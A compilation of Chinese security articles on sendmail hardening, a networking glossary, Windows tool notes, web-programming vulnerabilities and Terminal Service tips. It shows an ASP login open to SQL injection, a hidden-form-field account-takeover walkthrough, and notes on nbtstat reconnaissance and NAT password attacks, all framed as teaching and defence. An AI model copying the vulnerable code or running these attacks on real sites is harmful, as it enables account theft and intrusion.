    在LOCAL_CONFIG行下增加

    kdrac btree /etc/mail/dracd

    在LOCAL_RULESETS下增加

    Slocal_check_rcpt

    R$* $: $&{client_addr}

    R$+ $: $(drac $1 $: ? $)

    R? $@ ?

    R$+ $@ $#OK

重新生成sendmail.cf文件后，再重启sendmail进程。

增强Sendmail的抗DoS攻击能力
    还记得一个月以前的Yahoo，eBay......受到的拒绝服务(Denial Of Service)攻击吗？

    当然，他们遭受的只是Web服务的DOS攻击。其实从最根本上来讲，各种拒绝服务攻击都是攻击目标的TCP/IP协议堆栈，并不是什么很特殊的运用方式，其目的都是让服务器瘫痪，无法工作。

    之所以这类攻击能容易得逞，是因为当初建立IP协议标准的时候，主要目的是为了提供最有效的服务，却没有考虑到对于包的来源的有力的验证机制。这点缺陷导致了DOS攻击致命的恶果。

    如果你的mail服务器遭到这种攻击，你会怎么办？

    在Sendmail8.10.0发布以前，这是一件很恼火的事情。现在就不一样了，有了Sendmail8.10.0，只需要按照下文简单配置几个参数，你的mail服务器的抗拒绝服务攻击能力就大大提高了。推荐值适用于中小型的Mail服务器。

    1.配置最少的自由块数
    配置参数：MinFreeBlocks
    参数描述：文件系统用来接受标准SMTP(简单邮件传输协议)邮件的队列中的最少的自由块数目。
    越小越容易被攻击致命。
    默认值：100
    推荐值：4000或者更大

    2.最大邮件大小
    配置参数：MaxMessageSize
    参数描述：每封邮件的最大尺寸，以比特(bytes)为单位。越大越容易被攻击致命。
    默认值：不限制
    推荐值：5M

    3.自动重建别名
    配置参数：AutoRebuildAliases
    参数描述：需要的时候自动重建所有别名。如果设定为True的话，这是一个潜在的能引起拒绝服务攻击的危机。
    默认值：False
    推荐值：False

    4.队列平均负荷
    配置参数：QueueLA
    参数描述：单一队列时的平均负荷。根据CPU的数量适当设定（8*CPU数量）
    默认值：可变的
    推荐值：10*CPU数量

    5.平均负荷拒绝临界点
    配置参数：RefuseLA
    参数描述：一旦平均负荷超过此临界点，所有Incoming的SMTP连接均拒绝。
    默认值：可变的
    推荐值：8*CPU数量

    6.最大的守护进程的子进程数
    配置参数：MaxDaemonChildren
    参数描述：容许Fork的最大的子进程数。超过此数目，连接就会被拒绝。如果设定值小于等于零，就意味着不限制。
    默认值：没有定义
    推荐值：根据内存大小设定。(例如，128M内存建议值为40)

    7.最大的报头长度
    配置参数：MaxHeadersLength
    参数描述：所有报头的最大总长
    默认值：没有设定
    推荐值：32或者64K

    8.最大MIME编码报文长度
    MIME，Multipurpose Internet Mail Extension protocol，多用途的网际邮件扩充协议
    配置参数：MaxMimeHeaderLength
    参数描述：经过MIME编码的最大报文长度
    默认值：没有定义
    推荐值：1024或者更小

    9.每封邮件的最多接收者
    配置参数：MaxRecipientsPerMessage
    参数描述：如果设定了的话，每封邮件只能同时抄送给指定数量的收信人。超过此数目就会返回一个452的错误代码。也就是说，在邮件队列中，会被无限期的延缓发送。
    默认值：没有设定
推荐值：10-100

第五部分 总结
网络安全是一个非常重要的课题，基本上你运行的服务后台越多，你就可能打开更多的安全漏洞。当然，尽量地减少服务是安全策略之一，但用这个策略来完全解决完全问题显然是可笑的，对于我们必须要提供的服务，进行精心地配置与优化，是非常必要


网络专业词汇

    单词：
A

Access Control List（ACL） 访问控制列表

authentication 认证、鉴别

authorization 授权

access token 访问令牌

account lockout 帐号封锁

account policies 记帐策略

accounts 帐号

adapter 适配器

adaptive speed leveling 自适应速率等级调整

Address Resolution Protocol(ARP) 地址解析协议

Administrator account 管理员帐号

ARPANET 阿帕网（internet的前身）

algorithm 算法

alias 别名

allocation 分配、定位

alias 小应用程序

allocation layer 应用层

API 应用程序编程接口

applications 应用程序

ATM 异步传递模式

attack 攻击

audio policy 审记策略

auditing 审记、监察

B

back-end 后端

Back Office Microsoft公司的一种软件包

Back up 备份

backup browser 后备浏览器

BDC 备份域控制器

baseline 基线

BIOS 基本输入/输出系统

Binding 联编、汇集

bit 比特、二进制位

BOOTP 引导协议

BGP 引导网关协议

Bottleneck 瓶径

bridge 网桥、桥接器

browser 浏览器

browsing 浏览

channel 信道、通路

borde 边界

borde gateway 边界网关

breakabie 可破密的

breach 攻破、违反

C

cipher 密码

ciphertext 密文

CAlass A domain A类域

CAlass B domain B类域

CAlass C domain C类域

classless addressing 无类地址分配

cleartext 明文

CSNW Netware客户服务

client 客户，客户机

client/server 客户机/服务器

code 代码

channel 信道、通路

CSU/DSU 信道服务单元/数字服务单元

Checksum 校验和

Cluster 簇、群集

CGI 公共网关接口

CD-ROM 只读型光盘

Component 组件

COM port COM口（通信端口）

CIX 服务提供者

computer name 计算机名

crack 闯入

cryptanalysis 密码分析

D

DLC 数据链路控制

data link 数据链路

datagram 数据报

default document 缺省文档

digital key system 数字键控系统

disk mirroring 磁盘镜像

distributed file system 分布式文件系统

decryption 解密

database 数据库

dafault route 缺省路由

dafault share 缺省共享

denial of service 拒绝服务

dictionary attack 字典式攻击

directory 目录

directory replication 目录复制

domain 域

domain controller 域名控制器

domain name 域名

DNS 域名服务器

DDE 动态数据交换

DHCP 动态主机配置协议

E

encryption 加密

EGP 外部网关协议

eavesdropping 窃听、窃取

encrypted tunnel 加密通道

enterprise network 企业网

Ethernet 以太网

External security 外部安全性

environment variable 环境变量

F

FDDI 光纤分布式数据接口

FAT 文件分配表

FTP(File Transfer Protocol） 文件传送协议

filter 过滤器

firmware 固件

flooding 淹没

fax modem 传真modem

file attribute 文件属性

file system 文件系统

file 文件

form 格式

fragments 分段

frame relay 桢中继

firewall 防火墙

G

GSNW NetWare网关服务

GDI(graphical device interface) 图形设备界面

GUI 图形用户界面

gated daemon gated进程 一种早期的UNIX寻径服务

gateway 网关

global account 全局帐号

global group 全局组

group 组

group account 组帐号

group identifier 组标识符

H

HTML 超文本标记语言

HTTP 超文本传送协议

hacker 黑客

HCL 硬件兼容性表

hash 散表

HPFS 高性能文件系统

Home directory 主目录

home page 竹叶

hop 驿站、中继段

host 主机

hyperlink 超文本链接

I

IGP 内部安全性

ICMP(Internet Control Message Protocol) 网际控制报文协议

IIS 信息服务器

IP(Internet Protocol) 网际协议

IRC 网上交谈

ISP 网络服务提供者

IPX 互连网分组协议

IPC 进程间通信

IRQ 中断请求

IP address IP地址

IP masquerade IP伪装

IP spoofing IP欺骗

icon 图标

impersonation attack 伪装攻击

index server 索引服务器

ISA 工业标准结构

Inherieted Rights Filter 继承权限过滤器

ISDN 综合业务数字网

interactive user 交互性用户

intermediate system 中介系统

internal security 内部安全性

Internet Explorer（IE） microsoft的万维网浏览器

Internet server 因特网服务器

Interpreter 解释程序

intranet 内联网，企业内部网

intruder 入 侵 者

J

Java Virtual Machine Java虚拟机

JavaScript 基于Java语言的一种脚本语言

K

kernel 内核

keys 密钥

keyspace 密钥空间

L

LAN 局域网

LAN Server 局域网服务器

LPC 局部过程调用

Local security 局部安全性

log 日志、记录

logging 登录

logoff 退出、注销

logical port 逻辑端口

logon 注册

logon script 登录脚本

LFN 长文件名

M

mass browser 主浏览器

member server 成员服务器

menu 菜单

message 消息

multilink 多链接

MIME 多媒体Internet邮件扩展

MPR 多协议路由器

multiprocessing 多重处理

Module 模块

multihomed host 多穴主机

N

NNTP 网络新闻传送协议

named pipes 命名管道

NDS NetWare目录服务

NetBEUI NetBIOS扩展用户接口

NetBIOS gateway NetBIOS网关

NetWare 网络操作系统（Novell公司）

network 网络

NetBIOS 网络基本热闹输入/输出系统

NDIS 网络驱动程序接口规范

NetDDE 网络动态数据交换

NIC 网络接口卡

network layer 网络层

Network Monitor 一个网络监控程序

network operating system 网络操作系统

network printer 网络打印机

network security 网络安全

network user 网络用户

NFS 网络文件系统

node 节点

0

OpenGL 开放图形语言

ODBC 开放数据库连接

OSPF 开放最短路径优先协议

OSI Model 开放系统互连模式

out-of-band attack 带外攻击

P

PPP 点到点协议

PCI 外设连接接口

PDC 主域控制器

packet filter 分组过滤器

password 口令

path 路径

payload 净负荷

PBX 专用交换机

PCS 个人通信业务

peer 对等

permission 权限

plaintext 明文

PPTP 点到点隧道协议

port 端口

prority 优先权

protocol 协议

potential browser 潜在浏览器

process 进程

proxy 代理

proxy server 代理服务器

paseudorandom 伪随机

R

RAS 远程访问服务

Remote control 远程控制

RPC 远程过程调用

remote boot 远程引导

route 路由

router 路由器

routing 路由选择

RIP 路由选择信息协议

routed daemon 一种利用RIP的UNIX寻径服务

routing table 路由表

R.U.P 路由更新协议

S

script 脚本

search engine 搜索引擎

SSL 安全套接层

secure 密码

SID 安全标识符

sender 发送者

SLIP 串行线网际协议

server 服务器

server-based network 基于服务器的网络

session layer 会话层

share 共享

share-level security 共享级安全性

SMTP 简单邮件传送协议

SNMP 简单网络管理协议

Site 站点

SCSI 小型计算机系统接口

snffer 检错器

snooping 探听

standalone server 独立服务器

strong cipher 强密码

stream cipher 流密码

strong password 强口令

SQL 结构化查询语言

subnet mask 子网掩码

subdirectory 子目录

subnet 子网

swap file 交换文件

SACL 系统访问控制表

T

Telnet 远程登陆

TCP/IP 传输控制协议/网际协议

TFTP 碎片文件传送协议

Trojan Horse 特洛伊木马

T0,DS0 56或者64kbps

T1,DS1 24路PCM数字话，总速率为1.544Mbps

T3,DS3 28个T1信道，作品能够速率为44.736Mbps

thin client 瘦客户机

thread 线程

throughput 吞吐量

transport layer 传输量

Transport Protocol 传输协议

trust 信任

tunnel 安全加密链路

U

URL 统一资源定位器

UDP 用户数据报协议

USER name 用户名

USER account 用户帐号

V

VDM 虚拟DOS机

virtual server 虚拟服务器

vector of attack 攻击向量

Virtual directory 虚目录

Virtual Machine 虚拟机

VRML 虚拟现实模型语言

volume 文件集

vulnerability 脆弱性

W

WWW 万维网

WAN 广域网

Web page 网页

weak passwurd 弱口令

well-known ports 通用端口

workstation 工作站

X

X.25 一种分组交换网协议

Z

zone transfer 区域转换

词汇：

●Event Viewer（事件观察器)

环境文件（Windows NT下），可显示系统、安全性和应用日志的图形程序。它处于Start菜单之下的Administrative Tool菜单中。当运行它的时候，在系统的记录中将显示一张事件表。它允许过滤显示，以展现一些类型的事件。安全记录包括违反安全规定，例如闭锁帐号等。利用User Manager的Audit Policy对话框所进行的审计等也将被写入这些日志中。

● Network Monitor（网络监控器）

环境文件（Windows NT下），是一个监控网络应用的实用图形程序。它可以让你追获到网络上的分组及其他有关信息。它对监控网络的搜索特定分组以跟踪和解决安全问题。感觉不错的工具。

● Finger（我想这个程序大家应该是很熟悉的了）

环境文件，用于显示远程系统上用户的目录名。它可以用于访问目录信息，比如说远程系统用户的电子邮件地址、用户名和电话号码等等。但是大多数系统因为有黑客使用它的缘故而不再提供和支持这个finger协议了。但实际上还有不少系统仍支持finger的请求的，但是通常会出现拒绝连接'connect refused'或者连接超时的错误。你可以输入如：XXX@YYY.com，那么你就可以得到XXX的信息，你要是输入ZZZ@YYY.com的话那么你就可以得到这个主机上的所有用户信息。

● NBTStat

环境文件，用于显示NetBIOS网络名与IP地址间的映射关系，大多数NBTStat功能用于排错，但是其中之一对于黑客收集有关主机的信息来说很管用的。黑客可以输入一个主机的IP地址（nbtstat -a 110.110.110.110）就可以找出至少一个帐号，甚至管理员的名字，当然了，条件是如果管理员登路的话。

● Net

环境文件，可用于控制NetBIOS网络资源，它的命令几乎可以提供所有的NetBIOS网络功能

● Netstat

环境文件，用于显示当前TCP/IP的连接及状态。你可以输入/？参数的命令，就可以看到一些关于它的命令字符了。如果你想连续监听正在进行的连接状态的话，你可以利用间隔设定定期、自动刷新显示（例如：netstat -a 5）这样将会在5秒内显示一次全部的TCP/IP连接状况，包括服务器监听的端口，想停止它按Ctrl+Break键即可。。。。。。

● Ping

环境文件，可用于发送ICMP回送报文到远程系统，以确定该系统是不是可进一步用于TCP/IP业务（也或者可以看你炸完了后的结果）。借助ping检测主机是否还存在工作，它在TCP/IP中常用动词"Did you ping the server?"。输入不带命令的ping参数你可以看到所描述的命令。简单的ping可以确定不正常对象的工作，但是要对一台远程机子执行ping命令成功的话，你可以对方物理层、数据链路层和网络层的所有功能是不是正确，通信问题一般发生在更高层。黑客可以将ping用语各种侵害网络的目的，比如说利用ping通过发送大量的ping分组，引起淹没的无效数据。一台机用这种方式不能起到作用，但是有多台机子同时发送这个命令的话，那么......，这也是一种拒绝服务的攻击，这种攻击能够造成远程系统TCP/IP服务器的崩溃。NT对这种攻击最为敏感......

● Telnet(远程登录)

这个我就不多说了。但是想提示的就是许多路由器、交换机、防火墙，可以经过它连接到他们的IP地址进行配置，当然了，也可能被黑客远程配置，黑客可以经过telnet端口连接到IP。也可以经过防火墙阻断内部的telnet连接......

● Tracert

可用于显示两个因特网通信主机间的路由器。由于大多数服务器在它的路由器接口采用有意义的名字，所以通常能够推断出两个主机间路由的有关情况。。。。。。

● NetAlert

这是一个过时但却常用的东西，不过我还是觉得蛮有用。它可用于监控目标TCP/IP服务的状态。它通过周期介入方式监测。当端口的状态开或者关的时候没，它就会发邮件信息通知你。但是它需要邮件程序Blat1.2或者以上，才能利用邮件功能。。。。。

● NAT(NetBIOS Auditing Tool)

从物理意义上看这个是一种NetBIOS安全审记或者监察工具，实质它的目的可以揭示NetBIOS网络中的安全缺陷，是比较实际的，现在有很多工具可用与此。它的功能之一就是自动口令检查，对黑客来说用它你可以针对一台NT服务器自动发出攻击，通过多次尝试帐号口令并试图经过NetBIOS进行连接（可以允许远程机器映射驱动器）。它可以接受帐号列表和口令列表，然后照着出现的次序针对每个帐号和口令进行攻击......

它接受三种命令参数：

-o（指定重定向输出到的记录文件）

-u（指定帐号的文本文件）

-p（指定针对每个帐号的口令的文本文件）

不过现在有很多方法可以阻止NAT的攻击，比如通过重命名Administrator帐号和限制Administrator帐号注册网络等等。。。


网页编程安全漏洞全接触

--广东南海市公安局计算机安全监察股 喻凯

--------------------------------------------------------------------------------

网络安全已经成为互联网最热门的话题之一，与现实相对应的，网络安全的部属、实现也就成为一个企业特别关心的问题。所以，现在我们可以很容易的看到各个企业在设计自己网络、构建企业网站的时候，对于网络安全的投入还是比较大方的，特别是一些敏感信息比较多的网站，比如银行、证券等企业，对于网络安全更是不遗余力，市场上各种宣传、广告，也都大力推广各种安全产品，比如防火墙、入侵检测、企业防病毒等一系列的产品。但是，是不是使用了这些产品，网络特别是网站就真的安全了？不一定，即使这些安全设备最高档、设置也很合理，网站还是有被攻击甚至完全被控制的可能。我们知道，现在的网站特别是稍微大一点的网站，一般都采用ASP、PHP或者JSP等脚本语言来连接数据库，取得数据库里面的数据生成动态网页，这样，当一个网站完全建立的以后，程序就会很多，特别是网页设计的特殊性，服务器与用户的交互程序特别多，所以，如果程序员不是很有经验或者没有强烈的安全意识，程序的漏洞就会很多，给网站带来不可估量的安全隐患。这些程序漏洞，一定程度上，可能比网站服务器的漏洞更加严重，因为这些漏洞防火墙或者入侵检测系统根本无法防止。

一、编程漏洞的形成
编程漏洞怎么形成的呢？我们需要对网页编程有比较全面的认识才可以理解。首先，我们来看看网页编程的特点。

1、网页编程交互性强
之所以采用各种语言来设计网站而不直接采用HTML，目的就是为了更好的管理网站资源，增加网站与浏览者之间的交互。所以，在网站设计的时候，一些常见的交互编程是少不了的，比如留言版、BBS论坛，聊天室等，这些程序最大的共同点就是用户输入很多资料，通过这些资料与其他浏览者交流或者与网站管理者交流。而交互的特点，正式漏洞形成的一大原因，因为用户输入信息是不可预测的，如果程序没有考虑到或者考虑不全面一些安全问题，用户输入就有可能成为攻击事件，不管有意还是无意。

2、网页编程字符处理特别多
上面我们谈到，交互其实就是信息的流通。所以，这些信息的处理就是大问题，怎样严格控制用户输入信息的内容、信息格式、信息长度都是编程需要考虑的问题。

3、网页编程涉及安全最里层
我们知道，网页编程直接和服务器打交道，这些程序都是直接和网站目录、网站数据库设置网站设置、系统设置相关，通过这些程序，可以访问网站目录、设置等几乎所有服务器内容。仔细想，这些程序其实都是很有潜在安全问题的，因为它们太敏感了。所以，如果程序设计有漏洞，几乎就等于网站有漏洞，甚至完全开放。

4、网页编程整体人员基础较差
网页编程人员的技术素质，这个问题其实我们可能比较少关注。在部分传统程序员眼中，网页程序设计其实不能称为程序员，他们认为网页程序设计，只需要美工好就可以了，完全没有技巧可言，不叫真正的编程。之所以形成这种观点，有几个原因。一是网页编程相对比较简单，变化较少，基本上，网页编程可以很简单的概括出几个类型：留言版、论坛、聊天室、邮件列表、新闻发布、软件下载等，而这些类型的编程，大部分都有模式可循，和传统编程相比，的确比较简单，任意掌握；二是网页编程人员大部分半路出家，专业的程序员相对较少，编程的系统训练较少，可能编程的基础也比较弱，所以，编程方面可以还是有一些缺陷的；三是部分网站直接下载网上免费程序来建立网站，这些程序的健壮性、安全性都没有严格考虑，如果网站采用者不自己修改这些程序而直接照搬得话，很可能存在严重安全问题。

二、编程漏洞的类型
网页编程相对比较简单，漏洞的形成实例虽然很多，但是，都有一些内在地共同点可以寻找，以此归纳出一些共同的特点，供我们参考。

1、用户输入验证不全面
在网站编程而言，有一个规则可能我们需要牢记，那就是对于用户和用户的输入，都必须抱怀疑态度，不能完全信任。所以，对于用户的输入，不能简单的直接采用，而必须经过严格验证，确定用户的输入是否符合输入规则才可以现实、录入数据库。总结用户输入验证，应该包括以下几个方面。

（1）输入信息长度验证
这一点可能我们比较少注意，因为我们往往认为一般用户不会故意将输入过分拉长，稍微有一些用户可能捣乱，但是，在这一点上可能没有危害。其实，只要我们仔细考虑，如果不进行输入验证，可能的危害会相当大，为什么？如果用户输入的信息达到几个兆，而我们的程序又没有验证长度的话，想想的危害就有：a、程序验证出错；b、变量占用大量内存，出现内存溢出，至使服务器服务停止甚至关机。这样的危害多大？

（2）输入信息敏感字符检查
这一点平时在设计程序的时候我们可能都有注意，主要关注的是一些JavaScript的敏感字符，比如在设计留言版的时候，我们会将“<”等符号的信息去除，以免用户留下页面炸弹。但是，是否这些就已经足够了呢？还远远不够。我们还有很多没有注意到，以下几个方面我们需要特别注意。

a、留言版内容信息的过滤
这一点上面已经提到，平时也使用较多。

b、用户名信息的过滤
这一点其实我们常常验证，但是，用户名的验证我们往往只是验证长度，没有验证JavaScript或者HTML的标记，这样就容易形成漏洞。比如用户在用户名填入“<h1>黑</h1>”，一般的用户名验证都可以通过，但是，显示在网页中却是很不美观的。这个输入没有破坏，但是，如果用户名验证不严，没有长度限制，后果怎样呢？这样的漏洞在网上很多！

c、Email信息的验证
Email信息我们往往也只验证是否含有“@”符号，其他没有限制，容易形成两个漏洞：一是输入信息过长的内存溢出漏洞；二是含有JavaScrript等字符信息，造成显示用户Email的时候形成页面炸弹等。

d、搜索信息的验证
搜索信息也要验证吗？当然要验证！尽管搜索信息不会直接保存到网站服务器，但是，搜索信息确与数据库或者服务器所有文件密切相关，如果搜索信息有问题，很容易就会暴露一些本来不应该暴露的数据库信息或者文件信息。而且，如果用户对程序比较了解，那么这种情况就更加需要注意，用户可能会利用对于程序的了解，来设计一些很特别的搜索信息，而这些搜索信息其实是会检索其他不应该检索的数据库表的，必然，用户账号密码表等。因此，那些从网上下载回来的程序，一般不适宜于直接使用，因为它们的原代码都可以被所有人知道，安全性当然不是很好。在这种情况下，我们一般验证一些常见的用于数据库操作的语句，必然搜索信息是否含有“Select”等，这样来限制用户输入，避免信息的泄露。

2、页面行为方式缺乏逻辑
可能这一点看起来很不好理解，页面行为方式是什么呢？我们现在举例说明。在一般的网站中，注册新用户的时候，一般会首先要求用户输入自己需要注册的账号信息，以此来验证该账号是否已经存在，确保用户的单一性。这样的要求，网站编程者的考虑很好，必然新浪注册新用户的时候，就是这样要求的。然而，如果编程不谨慎，却容易造成一个很大的漏洞，致使用户信息流失、出错等情况的发生。这种情况怎样产生的呢？其实很简单，这些页面在编程的时候，认为如果用户的注册信息通过了刚才我们提到的“检测时候存在该账号”，那么，程序就认为这个账号一定不存在，可以注册，在真正的注册页面中，直接使用“Insert Into”语句将注册信息插入用户数据库就可以了。仔细看看这样的注册过程，我们发现有一个大的漏洞，那就是，将注册信息插入数据库之前，并没有再一次检查这个用户是否存在，而是很简单的信任前一个检测页面传来的账号信息。我们知道，HTML文件是可以阅读源代码并且也可以直接保存的，如果用户将注册通过的页面保存并且将上面的账号信息修改为一个已经存在的账号，由于程序认为该账号已经通过检测，于是，直接将该账号插入数据库，结果，原来拥有该账号的用户就被删除或者信息被修改了。而如果这个账号刚好是一个管理员账号，结果会怎样呢？

可能我们认为以上的情况很简单，的确简单，但是这种方式编程的程序员却很多，随便在网上找，我们可以找到很多这种方式编程的源代码和已经采用的程序。

以上就是就是页面行为方式缺乏逻辑的典型举例，还有没有其他的举例呢？我们大家都很熟悉的一个例子。在电子商务初期，一些电子商务网站的程序很多存在这样的漏洞，用户可以随意定义自己购买商品的价格！其实也就是这个原因造成的。

3、编程方式不成熟
很多时候，我们可能根本没有意识到一些漏洞的产生，这时候，不是我们没有注意安全问题，而是我们缺少经验。这种情况，我们就需要多了解一些网络攻击者的进攻方式，以此来修改程序，加固网络、程序安全。我们已经知道的一些漏洞就是这种情况产生的。在一些账号密码验证中，有万能密码的存在就是这样产生的，在下面的举例中我们会详细介绍。

4、没有基于内容的检测
上面第一条我们提到检测的漏洞，这里，我们专门提出基于内容的检测。前面多是技术上的考虑，这里，确实基于国家法律法规的考虑。一个网站的设计完成，除了技术的完善以外，还需要这个网站在国家法律法规内发布信息，不能随意让自己的网站成为一些别用心的人发布不法信息的平台。所以，我们有必要对所有用户输入而且有可能显示给其他用户的信息进行内容检测，一般有几类：

（1）粗话的检测，一般我们检测一些常见的粗话；
（2）敏感词汇的检测，必然“法轮”“明慧”等这些词；
（3）关系政治的词汇，最好全部过滤，比如“共产党”等；
（4）国家领导人的姓名，最好过滤；

当然，以上的一些规则，不一定全部要这样，可以根据自己留言、或者论坛的性质来决定那些需要严格过滤。

三、攻击实例
以下的实例，可能网络上有些网站刚好存在这些问题，希望存在问题的网站能够及时修改程序改正，读者也不要利用这些漏洞做不符合国家法律法规的事情。

1、万能密码
这个漏洞，一些读者可能已经知道，但是，由于网络上依然很多网站存在这些漏洞，我们还是有必要详细、全面的了解这个漏洞的形成原因和严重后果。首先，我们来看看漏洞的产生。这个漏洞是因为在程序验证账号密码的时候程序不严谨造成的。我们在程序设计的时候，常常将账号、密码放在一个叫“User”的数据表中，设置“username”和“password”两个字段，当验证的时候，检查用户的输入是否存在于这个数据表，如果存在，证明这个用户合法；不存在，证明用户不合法。漏洞的出现，就是这个验证代码的编写不严谨造成的，我们来看原代码。

‘连接数据库
Set Conn=Server.CreateObject("ADODB.Connection")
Connstr="DBQ="+server.mappath("db\news.mdb")+";DefaultDir=;DRIVER={Microsoft Access
Driver (*.mdb)};DriverId=25;FIL=MS Access;ImplicitCommitSync=Yes;MaxBufferSize=512;
MaxScanRows=8;PageTimeout=5;SafeTransactions=0;Threads=3;UserCommitSync=Yes;"
‘打开数据库连接
Conn.Open connstr
‘数据库选择语句
mysql="select * from user where userid=’”&txtuserid&”’ and pwd=‘”&txtpwd&” "
set rs=server.createobject("adodb.recordset")
rs.open mysql,conn,1,1

if not (rs.eof) then
rs.close
conn.close
response.redirect"ok_login.asp"
end if

在以上的代码中，我们看mysql的定义，这里的txtuserid和txtpwd都是直接来自用户的输入，如果用户构造特殊的用户名或者密码，就可以直接让这里的Select条件为“真”，完全不必理会是否有合法账号密码。我们这里不直接给出万能密码，希望有经验的读者仔细分析select语句，找出可能的漏洞。

以上漏洞的修改其实很多方法，我们这里提出几种比较完善的方法参考。首先，我们可以对用户输入的账号、密码进行严格检查，除了二十六个字母和十个数字，其他任何字符都是非法的，也就是过滤那些非法的字符，确保用户输入合法。注意，这个过滤要针对用户名和密码两个进行；二是修改以上的select语句或者下面的if语句，从程序设计角度堵塞漏洞的产生；三是检验用户的输入信息长度，限制输入信息在8个字母内，这样，也能防止漏洞的产生，不过，这个方法不是很好，最好利用第一种方法。

2、取得别人账号
这个漏洞原因已经在上面分析了，我们现在来看实例。首先，我们进入一个注册页面（图1）并且随意输入一个账号，发现出现账号已经存在的信息（图2）：



图1





图2

这样，我们知道这个账号已经存在，怎样取得这个账号的使用权呢？我们使用另外一个账号注册，如果这个账号不存在，会出现以下的页面（图3）



图3

以上页面，就是正常的注册页面，我们可以发现在“用户名称”后面，发现了需要注册的“kkkkkkkkk”账号，再看看这个页面的源代码，查找这个账号，看这个账号出现在哪些地方，我们只看关键的代码：
<FORM name="form2" action="../member/register1.jsp" method=post onsubmit="javascript:return TestField1()">
<div align="center">
<input type="hidden" name="Step" value="2">
<input type="hidden" name="recName" value=kkkkkkkkk>
<table width="500" border="0" cellspacing="0" cellpadding="2">
<tr bgcolor="#000000">
<td>
<div align="center"><b><font color="#FFFFFF">普通会员注册</font></b></div>
</td>
</tr>
</table>
在上面的代码中，我们发现有两个hidden类型的表单项，第一个是“Step”，第二个是“recName”，从名字我们知道，第一个是注册的步骤，对我们没有意义；第二个是注册的用户名，为什么要使用“hidden”类型表单保存呢？就是为了在以下的正式注册中直接使用这个作为用户名。发现什么没有？我们可以将这里的注册名修改为我们刚才试验时候使用的注册名“andy”，然后保存为一个HTML文件，再一次打开，填写必要信息提交，结果，我们已经取得该账号的“合法”使用权。在这里需要注意的一点是，在以下语句中：
<FORM name="form2" action="../member/register1.jsp" method=post onsubmit="javascript:return TestField1()">
如果我们直接保存页面到本机，提交的时候会出错的，因为本机不存在member/register1.jsp文件，我们必须将这里该为正确的网址，也就是在前面加上该网站的网址才可以提交。另外，并不是所有使用这种分步验证方式注册的网站都存在这个漏洞。

3、绕过验证的“页面炸弹”
即使页面有严格的验证，有时候，我们还是可以绕过这些验证来提交一些不合法的信息，最简单的就是采用JavaScript方式验证的程序，因为JavaScript的特殊性，我们可以将提交信息的页面保存到本地计算机，然后将这些JavaScript程序删除，再提交攻击信息，这样，轻松的，我们就可以绕过页面信息验证了。

四、总结
以上我们介绍了网页编程中容易出现的一些漏洞，这些漏洞，其实并不只是在网页编程中出现，在其他的编程中，也有一定的参考价值。从以上的介绍中可以知道，安全的概念其实贯穿在整个网页设计过程中，随时我们都要考虑到安全的问题，这样，我们的网站才会多一些安全性；同样的，作为网络攻击者，如果随时注意一些编程漏洞，很容易，网站的漏洞就可以找出来。


微软终端服务Terminal Service的几个使用技巧

微软的win2000服务器版中带了一个终端服务Terminal Service，这个服务基于远程桌面协议RDP，他的速度非常快，也很稳定，是一个

比较好的远程管理软件，不过这个终端服务有几个不方便的地方：
第一是没有改端口的地方，终端服务只能使用默认得3389端口。对于一个谨慎地管理员来说，服务器开着3389端口，随便哪个人都能上

去试试密码；再加上前些时候微软输入法的漏洞，不需密码就是System权限。第二是没有完善的功能日志，这样什么人什么时候连结上

都不知道。
其实这两个问题都可以非常容易的解决：
对于端口问题，微软提供了一个方法允许用户自己更改服务器端和客户端的端口：
微软的原文在：http://support.microsoft.com/support/kb/articles/Q187/6/23.ASP
上面这个连接是英文的。如果愿意，可自己看。^_^

1、第一步，更改终端服务的服务器端设置。
打开注册表，找到类似这样的键值HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\Wds\Repwd\Tds\Tcp,
看到那个PortNumber没有？0xd3d，这个是16进制，就是3389啦，我改...这个值是RDP(远程桌面协议)的默认值，也就是说用来配置以后
新建的RDP服务的，要改已经建立的RDP服务，我们去下一个键值：

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations这里应该有一个或多个类似RDP-TCP的子健（取

决于你建立了多少个RDP服务），一样改掉PortNumber。

2、第二步，改客户端。
服务端改了端口而客户端端口没有改变，我们岂不是白瞪眼？再来改客户端：打开客户端连接管理器，按照正常的步骤建立一个客户

端连接的快捷方式，选中这个连接，然后在“文件”菜单里选择“导出”（Menu－>File->Export），这个操作会生成一个cns文件，就

是终端服务客户端的配置文件，你可以用文本编辑器（比如记事本）编辑这个文件，找到“Server Port=3389”，改成你要的端口，然

后再选导入（Menu－>File->Import），这是的客户端快捷方式已经变成你需要的端口了。
需要主义的是，从微软主页上下载的终端服务客户端Terminal Service Client(MSI版)以及ActiveX版都不能更改端口，只有使用

Win2000服务器版终端服务自带的“制作安装盘”功能制作版本可以改端口，这个功能在管理工具的“终端服务客户端生成器”（

Terminal Service Client Creator）中。
对于日志的问题，其实Terminal Service自己是有日志功能的，在管理工具中打开远程控制服务配置(Terminal Service

Configration)，点击“连接”，右击你想配置的RDP服务（比如RDP-TCP(Microsoft RDP5.0)），选中书签“权限”，点击左下角的“高

级”，看见上面那个“审核”了吗？我们来加入一个Everyone组，这代表所有的用户，然后审核他的“连接”、“断开”、“注销”的

成功和“登陆”的功能和失败就足够了，审核太多了反而不好，这个审核试记录在安全日志中的，可以从“管理工具”－>“日志查看器

”中查看。
现在什么人什么时候登陆都一清二楚了，可是它却不记录客户端的IP（只能查看在线用户的ip）而是记录计算机名，要是别人起个PIG

的机器名你只好受他嘲弄了。我们来自己写个程序，一切搞定，你会c么？反正我不会，vb呢？我也不会^_^，Delphi？？我还是不会

^_^，别急，如果你和我一样，还有一个办法，我们建立一个.bat文件，叫做TSLog.bat，这个文件用来记录登录者的ip，内容如下：
time /t>>TSLog.log
netstat -n -p tcp|find ":3389">>TSLog.log
start Explorer
我来解释一下这个文件的含义：
第一行是记录用户登陆的时间，Time/t的意思是直接返回系统时间（如果不加/t，系统会等待你输入新的时间），然后我们用追加符号

>>把这个时间记入TSLog.log
第二行是记录用户的ip地址，Netstat是用来显示当前网络连接状况的命令，-n表示显示ip和端口而不是域名、协议，-p tcp是只显示

tcp协议，然后我们用管道符号“|”把这个命令的结果输出给Find命令，从输出结果中查找包含“：3389”的行（这就是我们要得客户

的ip所在行，如果你改了终端服务的端口，这个数值也要作相应的改变），最后我们同样把这个结果重定向到日志文件TSLog.log中去，

于是在TSLog.log文件中，记录格式如下：
22:40
TCP 192.168.12.28:3389 192.168.10.123:4903ESTABLISHED
22:54
